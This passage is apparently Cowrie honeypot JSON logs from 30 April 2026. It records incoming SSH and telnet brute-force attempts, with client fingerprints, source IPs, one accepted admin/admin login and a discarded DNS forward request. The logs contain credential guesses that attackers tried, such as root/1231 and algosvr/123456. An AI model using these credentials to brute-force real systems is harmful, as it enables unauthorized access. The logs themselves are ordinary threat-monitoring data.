19@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:27.528258Z","src_ip":"112.217.199.222","session":"8a5999e7f6e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t!Q@W#E$R%T","message":"login attempt [root/1q2w3e4r5t!Q@W#E$R%T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:28.374215Z","src_ip":"112.217.199.222","session":"8a5999e7f6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:28.594510Z","src_ip":"171.244.143.209","session":"c63c22877496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:29.582232Z","src_ip":"112.217.199.222","session":"8a5999e7f6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.29.225.199","src_port":54247,"dst_ip":"159.203.135.109","dst_port":23,"session":"90844a08170a","protocol":"telnet","message":"New connection: 124.29.225.199:54247 (159.203.135.109:23) [session: 90844a08170a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:50.220720Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27426,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ce20d280f6","protocol":"ssh","message":"New connection: 87.251.64.176:27426 (10.17.0.5:22) [session: 42ce20d280f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:50.464193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:50.467618Z","src_ip":"87.251.64.176","session":"42ce20d280f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:50.689142Z","src_ip":"87.251.64.176","session":"42ce20d280f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:51.320699Z","src_ip":"87.251.64.176","session":"42ce20d280f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:52.018463Z","session":"42ce20d280f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:52.240537Z","src_ip":"87.251.64.176","session":"42ce20d280f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:52.682594Z","src_ip":"87.251.64.176","session":"42ce20d280f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38246,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab1183fdbfdf","protocol":"ssh","message":"New connection: 159.203.92.129:38246 (159.203.135.109:22) [session: ab1183fdbfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:56.276969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:56.281852Z","src_ip":"159.203.92.129","session":"ab1183fdbfdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:56.286487Z","src_ip":"159.203.92.129","session":"ab1183fdbfdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"algosvr","password":"123456","message":"login attempt [algosvr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:56.298100Z","src_ip":"159.203.92.129","session":"ab1183fdbfdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:55:57.305270Z","src_ip":"159.203.92.129","session":"ab1183fdbfdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.449698686599731,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:03.670314Z","src_ip":"124.29.225.199","session":"90844a08170a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":48178,"dst_ip":"159.203.135.109","dst_port":22,"session":"a78556427e81","protocol":"ssh","message":"New connection: 152.32.213.101:48178 (159.203.135.109:22) [session: a78556427e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:06.574021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:06.587462Z","src_ip":"152.32.213.101","session":"a78556427e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:06.799163Z","src_ip":"152.32.213.101","session":"a78556427e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231","message":"login attempt [root/1231] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:07.665318Z","src_ip":"152.32.213.101","session":"a78556427e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:08.891773Z","src_ip":"152.32.213.101","session":"a78556427e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":40442,"dst_ip":"10.17.0.5","dst_port":22,"session":"c32d97916e9f","protocol":"ssh","message":"New connection: 222.110.147.56:40442 (10.17.0.5:22) [session: c32d97916e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:19.993639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:19.998115Z","src_ip":"222.110.147.56","session":"c32d97916e9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:20.196837Z","src_ip":"222.110.147.56","session":"c32d97916e9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@qwe","message":"login attempt [root/123456@qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:20.996421Z","src_ip":"222.110.147.56","session":"c32d97916e9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:22.205352Z","src_ip":"222.110.147.56","session":"c32d97916e9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":45396,"dst_ip":"10.17.0.5","dst_port":22,"session":"784191cd503c","protocol":"ssh","message":"New connection: 112.217.199.222:45396 (10.17.0.5:22) [session: 784191cd503c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:25.696231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:25.700967Z","src_ip":"112.217.199.222","session":"784191cd503c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:25.907729Z","src_ip":"112.217.199.222","session":"784191cd503c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangjing123","message":"login attempt [root/wangjing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:26.765617Z","src_ip":"112.217.199.222","session":"784191cd503c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:27.974817Z","src_ip":"112.217.199.222","session":"784191cd503c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":50328,"dst_ip":"10.17.0.5","dst_port":22,"session":"485b697e4e8f","protocol":"ssh","message":"New connection: 171.244.143.209:50328 (10.17.0.5:22) [session: 485b697e4e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:32.298168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:32.302751Z","src_ip":"171.244.143.209","session":"485b697e4e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:32.548557Z","src_ip":"171.244.143.209","session":"485b697e4e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1006","message":"login attempt [root/1006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:33.593836Z","src_ip":"171.244.143.209","session":"485b697e4e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:34.842220Z","src_ip":"171.244.143.209","session":"485b697e4e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47950,"dst_ip":"159.203.135.109","dst_port":22,"session":"aacbb4ed01f7","protocol":"ssh","message":"New connection: 159.203.92.129:47950 (159.203.135.109:22) [session: aacbb4ed01f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:40.549559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:40.554534Z","src_ip":"159.203.92.129","session":"aacbb4ed01f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:40.559113Z","src_ip":"159.203.92.129","session":"aacbb4ed01f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"algosvr","password":"algosvr","message":"login attempt [algosvr/algosvr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:40.571185Z","src_ip":"159.203.92.129","session":"aacbb4ed01f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:56:41.577849Z","src_ip":"159.203.92.129","session":"aacbb4ed01f7","protocol":"ssh"}
